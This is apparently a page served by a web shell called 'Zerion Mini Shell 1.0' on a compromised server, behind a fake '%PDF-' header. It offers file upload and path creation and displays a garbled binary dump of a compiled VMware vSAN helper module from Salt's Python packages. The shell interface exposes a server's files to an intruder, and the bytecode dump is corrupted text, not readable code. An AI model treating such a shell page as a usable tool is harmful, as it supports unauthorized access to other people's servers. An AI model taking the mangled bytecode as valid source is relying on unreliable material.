%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/ext/vsan/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pyc

�
���^c@s�dZdZddlmZmZmZddlZdZdZeddd�Z
dd	�Zdd
�Zdd�Z
dd�Zd
�Zd�ZdS(sw
Copyright 2016 VMware, Inc.  All rights reserved.

This module defines basic helper functions used in the sampe codes
sVMware, Inci����(tvimtvmodltSoapStubAdapterNs/vsanHealths/vsansvim.version.version10c	CsG|jjd�d}td|d|d|d|�}|j|_|S(Nt:ithosttpathtversiont
sslContext(RtsplitRtcookie(tstubtendpointtcontextRthostnametvsanStub((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pyt_GetVsanStubs	cCst|dtd|�S(NRR(RtVSAN_API_VC_SERVICE_ENDPOINT(R
R((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pyt
GetVsanVcStub'scCst|dtd|�S(NRR(RtVSAN_API_ESXI_SERVICE_ENDPOINT(R
R((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pytGetVsanEsxStub,scCs�t||�}itjjd|�d6tjjd|�d6tjjd|�d6tjjd|�d6tjjd|�d6tjd|�d6tjj	d|�d6tjj
d|�d6}|S(	Nsvsan-disk-management-systemsvsan-stretched-cluster-systemsvsan-cluster-config-systemsvsan-performance-managersvsan-cluster-health-systemsvsan-upgrade-systemexs vsan-cluster-space-report-systemsvsan-cluster-object-system(RRtclustertVsanVcDiskManagementSystemtVsanVcStretchedClusterSystemtVsanVcClusterConfigSystemtVsanPerformanceManagertVsanVcClusterHealthSystemtVsanUpgradeSystemExtVsanSpaceReportSystemtVsanObjectSystem(tvcStubRRtvcMos((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pytGetVsanVcMos1s6	
	
	
	
	

	
	
cCs[t||�}itjjd|�d6tjjd|�d6tjjd|�d6}|S(Nsvsan-performance-managersha-vsan-health-systemsvsan-object-system(RRRRRtVsanHealthSystemR(tesxStubRRtesxMos((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pyt
GetVsanEsxMosZs	
	
	
cCstj|j|�}|S(N(RtTaskt_moId(tvsanTaskRtvcTask((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pytConvertVsanTaskToVcTaskpscCs�|jj}g|D]}t|�^q}g|D]}tjjjd|�^q2}tjjjdtj	dgdt
�}tjjj�}||_|g|_
|j|t
�}z#d\}	}
xt|�r�|j|	�}x�|jD]�}x�|jD]�}
|
j}x�|
jD]�}|jdkr:|jj}
n|jdkr|j}
nqt|�|krpqn|
tjjjkr�|jt|��q|
tjjjkr|jj�qqWq�Wq�W|j}	q�WWd|r�|j�nXdS(	s_
   Given the service instance si and tasks, it returns after all the
   tasks are complete
   tobjttypetpathSettalltinfos
info.stateN(NN( tcontenttpropertyCollectortstrRtquerytPropertyCollectort
ObjectSpectPropertySpecRR$tTruet
FilterSpect	objectSettpropSettCreateFiltertNonetlentWaitForUpdatest	filterSetR)t	changeSettnametvaltstatetTaskInfotStatetsuccesstremoveterrorR-RtDestroy(ttaskstsitpcttaskttaskListtobjSpecstpropSpect
filterSpectfilterRRAtupdateR=tobjSettchange((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pytWaitForTasksts@(		(t__doc__t
__author__tpyVmomiRRRtvsanmgmtObjectsRRR:RRRRR#R(RT(((s>/usr/lib/python2.7/site-packages/salt/ext/vsan/vsanapiutils.pyt<module>s)	

Zerion Mini Shell 1.0